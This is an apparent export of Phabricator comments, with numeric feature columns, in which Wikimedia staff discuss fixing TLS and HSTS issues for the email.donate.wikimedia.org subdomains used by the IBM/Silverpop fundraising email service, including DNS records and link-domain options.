504796,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"If the solution is to convert all of the links to foo.mkt4988.com, I think that's still a pretty poor solution (it makes the whole email look like a scam or spam attempt since the linked domain has no branding or legitimacy and has nothing to do with us), and regardless we still need to get rid of the problem service hostnames in our zone data before we close this and move forward.",,,1439085306,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,5,True,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,15.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,3.0,3.0,6.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,4.012820512820513,0.782051282051282,"If the solution is to convert all of the links to foo.mkt4988.com, I think that's still a pretty poor solution (it makes the whole email look like a scam or spam attempt since the linked domain has no branding or legitimacy and has nothing to do with us), and regardless we still need to get rid of the problem service hostnames in our zone data before we close this and move forward."
504795,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"I think the problems with email.donate run deeper than anything IBM could fix without changes on our side as well.  We should start with an evaluation of what all of the related hostnames are even used for in what ways, especially which ones are used for HTTP(S) links in emails.

Currently there seem to be multiple potential problems, but without that information it's hard to even categorize the solutions for them:

1. email.donate - A-record to our production text clusters, but our wildcard certificate does not cover this domainname because it's a multi-level subdomain (TLS wildcards only cover a single level of hostname).  Works over HTTP (just goes to default portal for an unconfigured HTTP domain), but not HTTPS (cert mismatch).
1. bounce.email.donate - A-record to 3rd party, serves HTTP (unknown what content is supposed to be there, the root path gives 403 Forbidden) but not HTTPS at all (connection refused).
2. mail3880.email.donate - A-record to 3rd party, no HTTP or HTTPS service on it at all AFAICS.
3. reply.email.donate - same A-record as bounce.email.donate, so same basic situation.
4. links.email.donate - CNAME to 3rd party.  Serves both HTTP and HTTPS already, but doesn't have a correct certificate for links.email.donate.wm.o.
5. open.email.donate - CNAME to 3rd party.  Serves HTTP with a page containing a (rather ironic, in light of all of this) statement about how privacy is important.  No HTTPS service (connection refused).
6. www.email.donate - Basically identical to email.donate situation at the top.
",,,1439085134,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,5,True,1.0,0.25,0.0,0.75,1.0,6.0,0.5,0.25,0.0,0.0,1.75,0.25,0.0,0.25,0.25,1.25,0.25,5.5,10.0,0.25,1.25,0.25,0.0,0.0,0.5,0.0,0.0,0.0,0.25,0.0,0.25,4.25,0.5,0.75,0.0,0.0,0.25,0.0,0.0,0.0,0.5,0.25,0.0,2.5,0.0,0.25,0.0,0.0,0.0,14.0,0.25,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.75,0.25,0.0,0.0,0.0,0.0,3.25,1.5,8.0,0.5,2.0,6.25,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,2.25,10.0,4.25,0.0,0.0,0.0,2.25,0.25,1.25,2.0,0.25,0.25,0.25,0.0,3.0,4.128599683544304,0.7189873417721518,"I think the problems with email.donate run deeper than anything IBM could fix without changes on our side as well.  We should start with an evaluation of what all of the related hostnames are even used for in what ways, especially which ones are used for HTTP(S) links in emails.

Currently there seem to be multiple potential problems, but without that information it's hard to even categorize the solutions for them:

1. email.donate - A-record to our production text clusters, but our wildcard certificate does not cover this domainname because it's a multi-level subdomain (TLS wildcards only cover a single level of hostname).  Works over HTTP (just goes to default portal for an unconfigured HTTP domain), but not HTTPS (cert mismatch).
1. bounce.email.donate - A-record to 3rd party, serves HTTP (unknown what content is supposed to be there, the root path gives 403 Forbidden) but not HTTPS at all (connection refused).
2. mail3880.email.donate - A-record to 3rd party, no HTTP or HTTPS service on it at all AFAICS.
3. reply.email.donate - same A-record as bounce.email.donate, so same basic situation.
4. links.email.donate - CNAME to 3rd party.  Serves both HTTP and HTTPS already, but doesn't have a correct certificate for links.email.donate.wm.o.
5. open.email.donate - CNAME to 3rd party.  Serves HTTP with a page containing a (rather ironic, in light of all of this) statement about how privacy is important.  No HTTPS service (connection refused).
6. www.email.donate - Basically identical to email.donate situation at the top.
"
504369,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Confirming that IBM updated our links so that all Silveprop links will be
https from now on. Can we close this task?",,,1438983340,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,5,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,20.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,20.0,8.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.84,0.92,"Confirming that IBM updated our links so that all Silveprop links will be
https from now on. Can we close this task?"
501236,Decide what to do with *.donate.wikimedia.org subdomain + TLS,@BBlack I wanted to make sure you saw this as it relates to T107059. I don't have an ETA yet but expect this should be done within a few weeks.,,,1438620761,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,4,True,3.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,15.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,12.0,12.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5757575757575757,0.8787878787878788,SCREEN_NAME I wanted to make sure you saw this as it relates to T107059. I don't have an ETA yet but expect this should be done within a few weeks.
499812,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Update from IBM/Silverpop: it turns out there is a way for us to use https without losing all of our click data in emails. The tradeoff is we lose the ability to customize our domain in those links so the domain will be ""links.mkt4988.com"" instead of ""links.wikimedia.org"".

We are going to put in a support case with Silverpop to change our link domain so that we can use https. This is not a switch we can flip ourselves, so I will update this task once Silverpop confirms its done.

",,,1438292343,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,4,True,0.5,0.0,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,8.0,0.0,1.5,13.5,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,5.0,0.0,1.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,11.5,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.5,7.0,4.5,0.0,7.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,9.5,13.5,4.0,0.0,3.0,0.0,9.5,0.0,0.0,2.5,1.5,1.5,0.0,0.0,0.5,3.8731146304675717,0.8250377073906485,"Update from IBM/Silverpop: it turns out there is a way for us to use https without losing all of our click data in emails. The tradeoff is we lose the ability to customize our domain in those links so the domain will be ""links.mkt4988.com"" instead of ""links.wikimedia.org"".

We are going to put in a support case with Silverpop to change our link domain so that we can use https. This is not a switch we can flip ourselves, so I will update this task once Silverpop confirms its done.

"
499810,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Update from IBM/Silverpop: it turns out there is a way for us to use https without losing all of our click data in emails. The tradeoff is we lose the ability to customize our domain in those links so the domain will be ""links.mkt4988.com"" instead of ""links.wikimedia.org"".

We are going to put in a support case with Silverpop to change our link domain so that we can have use https. This is not a switch we can flip ourselves, so I will update this task once Silverpop confirms its done.

",,,1438292298,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,4,True,0.5,0.0,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,8.0,0.0,1.5,13.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,5.0,0.0,1.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,11.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.5,7.0,4.5,0.0,7.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,9.0,13.0,4.0,0.0,3.0,0.0,9.0,0.0,0.0,2.5,1.5,1.5,0.0,0.0,0.5,3.875,0.8269230769230769,"Update from IBM/Silverpop: it turns out there is a way for us to use https without losing all of our click data in emails. The tradeoff is we lose the ability to customize our domain in those links so the domain will be ""links.mkt4988.com"" instead of ""links.wikimedia.org"".

We are going to put in a support case with Silverpop to change our link domain so that we can have use https. This is not a switch we can flip ourselves, so I will update this task once Silverpop confirms its done.

"
493288,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Thanks for this explanation, @BBlack. I got a little further clarification from @faidon so I think I understand how I need to follow up with IBM/Silverpop. I will update this ticket once I've been able to get more information on why these domains are http right now. We've been told in the past it isn't possible to track our (very valuable) open and click data with https in the domain, but I'm not sure why that is, so I will work on this with them.",,,1437236029,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,1.0,1.0,2.0,9.0,3.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,10.0,0.0,10.0,13.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,3.0,0.0,1.0,0.0,0.0,0.0,8.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,5.0,13.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,12.0,13.0,2.0,0.0,0.0,0.0,12.0,0.0,3.0,1.0,1.0,0.0,1.0,0.0,0.0,3.787878787878788,0.7272727272727273,"Thanks for this explanation,SCREEN_NAME. I got a little further clarification fromSCREEN_NAME so I think I understand how I need to follow up with IBM/Silverpop. I will update this ticket once I've been able to get more information on why these domains are http right now. We've been told in the past it isn't possible to track our (very valuable) open and click data with https in the domain, but I'm not sure why that is, so I will work on this with them."
492056,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"@PCoombe @CCogdill_WMF - We've already dealt with the generic/per-project issues in https://gerrit.wikimedia.org/r/#/c/223044 back on July 6.  The only concern left here is the ""email.donate.wikimedia.org"" case, which is all of these interrelated records:

```
wikimedia.org:spop1024._domainkey.email.donate 1H IN TXT  ""k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnPE/TvQbvCk0FbqekfcpB7R6R9yXFulninKCCagEijzf/55WqL3o9mNMddmmEAIQvhlscYqtrEerd2RYQTo0pNjJQAXIddvhUaJo+r66TYoyTSoxtL6zF7oJ9ZOL9i7PIntN7zq7m448S/3llWKK8MDvkeG+f5MN/qZ+P2wyD+QIDAQAB""
wikimedia.org:bounce.email.donate     1H  IN A    74.121.50.42
wikimedia.org:bounce.email.donate     1H  IN MX   5 bounce.email.donate
wikimedia.org:bounce.email.donate     1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
wikimedia.org:email.donate            600 IN DYNA geoip!text-addrs-v4/eqiad
wikimedia.org:email.donate            1H  IN MX   10 reply.email.donate
wikimedia.org:email.donate            1H  IN MX   20 mail3880.email.donate
wikimedia.org:email.donate            1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
wikimedia.org:mail3880.email.donate   1H  IN A    74.121.51.111
wikimedia.org:mail3880.email.donate   1H  IN MX   5 mail3880.email.donate
wikimedia.org:mail3880.email.donate   1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
wikimedia.org:reply.email.donate      1H  IN A    74.121.50.42
wikimedia.org:reply.email.donate      1H  IN MX   5 reply.email.donate
wikimedia.org:reply.email.donate      1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
wikimedia.org:links.email.donate      1H  IN CNAME recp.mkt41.net.
wikimedia.org:open.email.donate       1H  IN CNAME open.mkt41.net.
wikimedia.org:www.email.donate        1H  IN CNAME wikimedia.org.
```

The primary issue here is that if any of these are used for HTTP traffic, as in emails end up containing `http://www.email.donate.wikimedia.org` (or similar for the rest of the names above), then that blocks us from preloading HSTS on wikimedia.org as a whole in the long run.  If we turned on HSTS for wikimedia.org without solving this problem first, then users who had ever visited a primary wikimedia.org site (and thus picked up HSTS for wikimedia.org) would automatically re-interpret those links as `https://...`, which would break them all.

Not a single one of those hostnames responds to the HTTPS protocol legitimately, and that's not an easily fixable thing.  Only `www.email.donate` and `email.donate` resolve to our own servers where we could theoretically fix the situation, but we'd still prefer to rewrite those hostnames as e.g. ""www-email-donate"" and ""email-donate"" if possible, or some other such scheme.  Alternatively, we could purchase a certificate for ""*.email.donate.wikimedia.org"", but again that would only fix the ones that map to our own servers.  All of the others map to server IPs or hostnames owned by Silverpop/IBM, so they wouldn't have legitimate certificates on our behalf in the first place regardless of the multi-subdomain thing, and again they don't even have HTTPS listeners so I doubt they're capable.

Stepping back a bit from how this blocks our HSTS preloading for the rest of wikimedia.org: donations and fundraising are probably one of the most sensitive areas of any of our traffic.  In general, I'd suspect we'd want solutions for this that protect users' privacy to the degree possible, at least by not sending cleartext HTTP traffic in response to them opening, clicking around in, or replying to emails from us on this subject.  It's also a questionable experience from the user's point of view when they click on a link supposedly from our donations team and get sent to a suspicious-sounding third party like ""mkt41.net"".  This is referenced also in the two tickets @JanZerebecki linked earlier: T74514 and T60373 ...",,,1437001779,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,1.0,0.0,0.0,0.25,0.75,5.25,0.5,0.0,0.0,0.25,2.5,2.0,0.0,0.5,0.0,3.75,0.5,7.25,11.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.25,0.5,1.25,0.25,3.75,0.5,0.25,0.25,0.0,0.0,0.25,1.25,0.5,0.0,1.5,0.75,1.0,0.0,0.0,0.0,0.25,0.0,12.75,1.5,0.5,0.25,0.25,0.0,0.75,0.0,0.0,0.5,0.25,0.25,1.5,0.0,0.5,0.5,0.25,0.0,4.75,1.0,5.75,1.5,2.75,8.0,0.0,0.0,0.0,0.0,3.25,0.0,0.75,0.0,5.25,11.5,2.5,0.0,3.0,0.0,5.25,0.0,1.5,1.5,0.75,2.0,0.25,0.5,0.25,4.220174050632911,0.7956487341772152,"SCREEN_NAMESCREEN_NAME - We've already dealt with the generic/per-project issues in URL back on July 6.  The only concern left here is the ""email.donate.wikimedia.org"" case, which is all of these interrelated records:

``CODE`CODEURL resolve to our own servers where we could theoretically fix the situation, but we'd still prefer to rewrite those hostnames as e.g. ""www-email-donate"" and ""email-donate"" if possible, or some other such scheme.  Alternatively, we could purchase a certificate for ""*.email.donate.wikimedia.org"", but again that would only fix the ones that map to our own servers.  All of the others map to server IPs or hostnames owned by Silverpop/IBM, so they wouldn't have legitimate certificates on our behalf in the first place regardless of the multi-subdomain thing, and again they don't even have HTTPS listeners so I doubt they're capable.

Stepping back a bit from how this blocks our HSTS preloading for the rest of wikimedia.org: donations and fundraising are probably one of the most sensitive areas of any of our traffic.  In general, I'd suspect we'd want solutions for this that protect users' privacy to the degree possible, at least by not sending cleartext HTTP traffic in response to them opening, clicking around in, or replying to emails from us on this subject.  It's also a questionable experience from the user's point of view when they click on a link supposedly from our donations team and get sent to a suspicious-sounding third party like ""mkt41.net"".  This is referenced also in the two ticketsSCREEN_NAME linked earlier: T74514 and T60373 ..."
491955,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"@PCoombe @CCogdill_WMF - We've already dealt with the generic/per-project issues in https://gerrit.wikimedia.org/r/#/c/223044 back on July 6.  The only concern left here is the ""email.donate.wikimedia.org"" case, which is all of these interrelated records:

```
wikimedia.org:spop1024._domainkey.email.donate 1H IN TXT  ""k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnPE/TvQbvCk0FbqekfcpB7R6R9yXFulninKCCagEijzf/55WqL3o9mNMddmmEAIQvhlscYqtrEerd2RYQTo0pNjJQAXIddvhUaJo+r66TYoyTSoxtL6zF7oJ9ZOL9i7PIntN7zq7m448S/3llWKK8MDvkeG+f5MN/qZ+P2wyD+QIDAQAB""
wikimedia.org:bounce.email.donate     1H  IN A    74.121.50.42
wikimedia.org:bounce.email.donate     1H  IN MX   5 bounce.email.donate
wikimedia.org:bounce.email.donate     1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
wikimedia.org:email.donate            600 IN DYNA geoip!text-addrs-v4/eqiad
wikimedia.org:email.donate            1H  IN MX   10 reply.email.donate
wikimedia.org:email.donate            1H  IN MX   20 mail3880.email.donate
wikimedia.org:email.donate            1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
wikimedia.org:mail3880.email.donate   1H  IN A    74.121.51.111
wikimedia.org:mail3880.email.donate   1H  IN MX   5 mail3880.email.donate
wikimedia.org:mail3880.email.donate   1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
wikimedia.org:reply.email.donate      1H  IN A    74.121.50.42
wikimedia.org:reply.email.donate      1H  IN MX   5 reply.email.donate
wikimedia.org:reply.email.donate      1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
wikimedia.org:links.email.donate      1H  IN CNAME recp.mkt41.net.
wikimedia.org:open.email.donate       1H  IN CNAME open.mkt41.net.
wikimedia.org:www.email.donate        1H  IN CNAME wikimedia.org.
```

The primary issue here is that if any of these are used for HTTP traffic, as in emails end up containing `http://www.email.donate.wikimedia.org` (or similar for the rest of the names above), then that blocks us from preloading HSTS on wikimedia.org as a whole in the long run.  If we turned on HSTS for wikimedia.org without solving this problem first, then users who had ever visited a primary wikimedia.org site (and thus picked up HSTS for wikimedia.org) would automatically re-interpret those links as `https://...`, which would break them all.

Not a single one of those hostnames responds to the HTTPS protocol legitimately, and that's not an easily fixable thing.  Only `www.email.donate` and `email.donate` resolve to our own servers where we could theoretically fix the situation, but we'd still prefer to rewrite those hostnames as e.g. ""www-email-donate"" and ""email-donate"" if possible, or some other such scheme.  Alternatively, we could purchase a certificate for ""*.email.donate.wikimedia.org"", but again that would only fix the ones that map to our own servers.  All of the others map to server IPs or hostnames owned by Silverpop/IBM, so they wouldn't have legitimate certificates on our behalf in the first place regardless of the multi-subdomain thing, and again they don't even have HTTPS listeners so I doubt they're capable.

Stepping back a bit from how this blocks our HSTS preloading for the rest of wikimedia.org: donations and fundraising are probably one of the most sensitive areas of any of our traffic.  In general, I'd suspect we'd want solutions for this that protect users' privacy to the degree possible, at least by not sending cleartext HTTP traffic in response to them opening, clicking around in, or replying to emails from us on this subject.  It's also a questionable experience from the user's point of view when they click on a link supposedly from our donations team and get sent to a suspicious-sounding third party like ""mtk41.net"".  This is referenced also in the two tickets @JanZerebecki linked earlier: T74514 and T60373 ...",,,1436991133,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,1.0,0.0,0.0,0.25,0.75,5.25,0.5,0.0,0.0,0.25,2.5,2.0,0.0,0.5,0.0,3.75,0.5,7.25,11.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.25,0.5,1.25,0.25,3.75,0.5,0.25,0.25,0.0,0.0,0.25,1.25,0.5,0.0,1.5,0.75,1.0,0.0,0.0,0.0,0.25,0.0,12.75,1.5,0.5,0.25,0.25,0.0,0.75,0.0,0.0,0.5,0.25,0.25,1.5,0.0,0.5,0.5,0.25,0.0,4.75,1.0,5.75,1.5,2.75,8.0,0.0,0.0,0.0,0.0,3.25,0.0,0.75,0.0,5.25,11.5,2.5,0.0,3.0,0.0,5.25,0.0,1.5,1.5,0.75,2.0,0.25,0.5,0.25,4.220174050632911,0.7956487341772152,"SCREEN_NAMESCREEN_NAME - We've already dealt with the generic/per-project issues in URL back on July 6.  The only concern left here is the ""email.donate.wikimedia.org"" case, which is all of these interrelated records:

``CODE`CODEURL resolve to our own servers where we could theoretically fix the situation, but we'd still prefer to rewrite those hostnames as e.g. ""www-email-donate"" and ""email-donate"" if possible, or some other such scheme.  Alternatively, we could purchase a certificate for ""*.email.donate.wikimedia.org"", but again that would only fix the ones that map to our own servers.  All of the others map to server IPs or hostnames owned by Silverpop/IBM, so they wouldn't have legitimate certificates on our behalf in the first place regardless of the multi-subdomain thing, and again they don't even have HTTPS listeners so I doubt they're capable.

Stepping back a bit from how this blocks our HSTS preloading for the rest of wikimedia.org: donations and fundraising are probably one of the most sensitive areas of any of our traffic.  In general, I'd suspect we'd want solutions for this that protect users' privacy to the degree possible, at least by not sending cleartext HTTP traffic in response to them opening, clicking around in, or replying to emails from us on this subject.  It's also a questionable experience from the user's point of view when they click on a link supposedly from our donations team and get sent to a suspicious-sounding third party like ""mtk41.net"".  This is referenced also in the two ticketsSCREEN_NAME linked earlier: T74514 and T60373 ..."
491891,Decide what to do with *.donate.wikimedia.org subdomain + TLS,Do you have a link to those recommendations?,,,1436983242,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,Do you have a link to those recommendations?
491842,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"These are the recommend settings from our email service provider (IBM).
When it comes to deliverability, we have to take every possible approach as
there are millions (tens of millions?) of email services in the world, so
we can’t know exactly what each and every one is doing (and they are all
doing thing differently).",,,1436978921,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,6.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,4.0,0.0,8.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,4.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,10.0,1.0,1.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8028169014084505,0.7183098591549296,"These are the recommend settings from our email service provider (IBM).
When it comes to deliverability, we have to take every possible approach as
there are millions (tens of millions?) of email services in the world, so
we can’t know exactly what each and every one is doing (and they are all
doing thing differently)."
491807,Decide what to do with *.donate.wikimedia.org subdomain + TLS,">>! In T102827#1452705, @CCogdill_WMF wrote:
> The only one(s) I'd specifically ask we keep around if possible are any containing ""email.donate"", including the ""www.email.donate"" subdomain. The reason behind all these DNS entries is different email providers will check different domains based on domains within the email headers. We suspect it's possible that certain email providers check that domain to see if it’s valid, and that factors into Inbox placement.

Do you have more information on this? What exactly do they check? The existence of the name in DNS? What headers? What do we put into those headers? How do they end up with these domains?",,,1436976302,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,4.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,13.0,4.0,13.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,3.5869565217391304,0.7391304347826086,"QUOTE
QUOTE

Do you have more information on this? What exactly do they check? The existence of the name in DNS? What headers? What do we put into those headers? How do they end up with these domains?"
491481,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"@Chmarkine, @BBlack, @faidon - can one of you give me a summary of the domains you're proposing we delete? I'm not totally clear if it's just www.* domains at this moment or others as well.

If @MeganHernandez_WMF and @Pcoombe see no reason to keep the www.* subdomains, I don't see a need for them in order to send email either. 

The only one(s) I'd specifically ask we keep around if possible are any containing ""email.donate"", including the ""www.email.donate"" subdomain. The reason behind all these DNS entries is different email providers will check different domains based on domains within the email headers. We suspect it's possible that certain email providers check that domain to see if it’s valid, and that factors into Inbox placement.",,,1436911642,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,1.5,0.0,0.5,0.0,1.0,5.0,1.5,0.0,0.0,2.0,1.0,2.0,0.0,0.5,0.0,4.0,0.5,5.0,10.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,1.5,0.0,8.0,5.0,2.0,0.0,1.0,0.0,0.0,0.0,1.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.5,17.0,0.0,1.0,0.0,0.5,0.0,0.5,0.5,0.0,0.5,0.5,0.0,1.0,0.0,2.0,0.0,0.0,0.0,4.5,1.5,7.0,4.0,1.0,7.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,7.5,10.5,2.0,0.5,2.5,0.0,7.5,0.5,0.0,1.0,1.0,2.0,0.0,0.0,0.5,4.206666666666667,0.76,"SCREEN_NAME,SCREEN_NAME,SCREEN_NAME - can one of you give me a summary of the domains you're proposing we delete? I'm not totally clear if it's just www.* domains at this moment or others as well.

IfSCREEN_NAME andSCREEN_NAME see no reason to keep the www.* subdomains, I don't see a need for them in order to send email either. 

The only one(s) I'd specifically ask we keep around if possible are any containing ""email.donate"", including the ""www.email.donate"" subdomain. The reason behind all these DNS entries is different email providers will check different domains based on domains within the email headers. We suspect it's possible that certain email providers check that domain to see if it’s valid, and that factors into Inbox placement."
491433,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"I'm fine with dropping the www.* subdomains if they're going to cause extra work/cost. Couldn't find anywhere that they are linked to.

Please do keep the project domains as redirects though unless there's a compelling reason not to. Especially donate.wikipedia.org, that's a common (and understandable) mistake. I've even seen WMF staff directing people to that domain.

